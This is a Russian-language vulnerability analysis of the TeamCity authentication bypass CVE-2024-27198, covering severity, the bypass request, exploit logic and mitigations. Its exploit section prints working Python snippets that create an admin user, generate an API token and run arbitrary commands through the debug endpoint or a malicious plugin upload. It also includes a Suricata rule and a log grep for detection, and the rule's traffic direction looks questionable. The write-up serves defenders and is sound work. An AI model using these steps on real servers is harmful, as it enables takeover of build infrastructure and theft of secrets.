
Уязвимость BDU:2024-01792 (CVE-2024-27198) JetBrains TeamCity
Уязвимость BDU:2024-01792 (CVE-2024-27198) представляет собой критическую уязвимость обхода аутентификации в системе непрерывной интеграции и доставки (CI/CD) JetBrains TeamCity. Уязвимость позволяет удаленному злоумышленнику выполнять произвольный код с повышенными привилегиями без аутентификации.
Анализ уязвимости
Уровень опасности: 9.8 CRITICAL
Вектор атаки: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
-
AV:N (Вектор атаки: Сетевой) - Атака возможна через сеть
-
AC:L (Сложность атаки: Низкая) - Не требует специальных условий
-
PR:N (Необходимость привилегий: Не требуются)
-
UI:N (Вовлечение пользователя: Не требуется)
-
S:U (Область воздействия: Не изменяется)
-
C:H (Конфиденциальность: Полная компрометация)
-
I:H (Целостность: Полная компрометация)
-
A:H (Доступность: Полная компрометация)
Условия эксплуатации
Для успешной эксплуатации уязвимости необходимо:
-
Доступ к веб-интерфейсу TeamCity через сеть
-
Версия TeamCity ниже 2023.11.4
-
Отсутствие дополнительных средств защиты (WAF, IPS)
-
Стандартная конфигурация сервера
Технический механизм уязвимости
Уязвимость CVE-2024-27198 возникает из-за некорректной обработки URL-путей, позволяющей обойти аутентификацию через альтернативные пути доступа. Злоумышленник может отправлять специально сформированные запросы к API без проверки подлинности:
GET /hax?jsp=/app/rest/server;.jsp HTTP/1.1 Host: target:8111
Ключевая проблема - обработка параметра jsp
, который интерпретируется сервером как внутренний путь, минуя проверки аутентификации.
Анализ эксплоитов
Рассмотрим код эксплоитов для понимания векторов атаки.
1. Создание администратора (Python)
Основной этап атаки - создание пользователя с правами SYSTEM_ADMIN:
def AddUser(target, username, password, domain): add_user_url = target + "/hax?jsp=/app/rest/users;.jsp" add_user_data = { "username": f"{username}", "password": f"{password}", "email": f"{username}@{domain}", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]} } response = session.post(add_user_url, json=add_user_data) return response
2. Генерация токена доступа
После создания пользователя генерируется токен для доступа к API:
def GetToken(target, user_id): exploit_url = target + f"/hax?jsp=/app/rest/users/id:{user_id}/tokens/{token_name};.jsp" response = session.post(exploit_url) root = ET.fromstring(response.text) return root.attrib.get("value")
3. Выполнение произвольных команд
Эксплоиты используют два основных метода RCE:
Через отладочный эндпоинт:
def ExecuteCommandByDebugEndpoint(target, os_version, command, token): if os_version == "linux": url = target + f"/app/rest/debug/processes?exePath=/bin/sh¶ms=-c¶ms={quote_plus(command)}" else: url = target + f"/app/rest/debug/processes?exePath=cmd.exe¶ms=/c¶ms={quote_plus(command)}" response = session.post(url, headers={"Authorization": f"Bearer {token}"})
Через загрузку вредоносного плагина:
def UploadEvilPlugin(target, plugin_name, token): files = { "fileName": (None, f"{plugin_name}.zip"), "file:fileToUpload": (f"{plugin_name}.zip", open(f"{plugin_name}.zip", "rb")) } session.post(f"{target}/admin/pluginUpload.html", files=files)
Последствия успешной эксплуатации
-
Полный контроль над сервером TeamCity: выполнение произвольных команд
-
Кража секретов сборки: доступ к credentials, токенам, SSH-ключам
-
Компрометация цепочки поставок: модификация артефактов сборки
-
Атаки на внутренние системы: использование сервера как плацдарма
-
Кража исходного кода: доступ к репозиториям проектов
Защитные меры
1. Обновление системы
Немедленное обновление до версии TeamCity 2023.11.4 или новее.
2. Сегментация сети
-
Ограничение доступа к TeamCity только с доверенных IP-адресов
-
Размещение сервера в изолированном сетевом сегменте
3. Правила IPS
Для Suricata/NGFW:
alert http $HOME_NET any -> $EXTERNAL_NET any ( \ msg:"CVE-2024-27198 TeamCity Auth Bypass Attempt"; \ flow:established,to_server; \ content:"/hax?jsp="; \ content:"/app/rest/"; \ http.uri; \ classtype:web-application-attack; \ sid:202401792; \ rev:1; \ )
4. Дополнительные меры безопасности
-
Регулярный аудит пользователей и токенов
-
Многофакторная аутентификация для администраторов
-
Мониторинг подозрительных действий:
grep -E '(POST /hax\?jsp=|/app/rest/debug/processes)' teamcity-access.log
5. Харденинг сервера
В internal.properties
:
rest.debug.processes.enable=false teamcity.auth.allowTokenCreation=false
Заключение
BDU:2024-01792 (CVE-2024-27198) представляет критическую угрозу для CI/CD-инфраструктур. Эксплуатация уязвимости позволяет полный компромисс сервера TeamCity без аутентификации. Обновление до 2023.11.4 - обязательная мера, дополненная сетевыми контролями и мониторингом. Регулярный аудит безопасности CI/CD-систем должен быть неотъемлемой частью DevOps-процессов.
